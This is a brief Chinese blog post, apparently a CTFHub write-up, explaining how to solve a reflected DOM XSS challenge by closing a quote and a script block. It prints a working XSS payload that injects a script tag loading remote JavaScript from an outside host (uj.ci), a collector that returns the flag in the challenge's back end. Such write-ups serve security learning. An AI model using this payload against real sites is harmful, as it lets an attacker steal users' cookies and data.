9.1 CTFHUB DOM XSS 反射型

注意这个题要自己加闭合语句
先随便输入观察源码:
image
而我们的XSS语句原始是这样的:

</tEXtArEa>'"><sCRiPt sRC=//uj.ci/hbu></sCrIpT>

我们需要闭合 单引号和script语句块
所以构造这样的XSS注入:

'</script></tEXtArEa>'"><sCRiPt sRC=//uj.ci/hbu></sCrIpT>

即可在后台查看到flag了
image

posted @ 2023-09-01 11:12  N0zoM1z0  阅读(135)  评论(0)    收藏  举报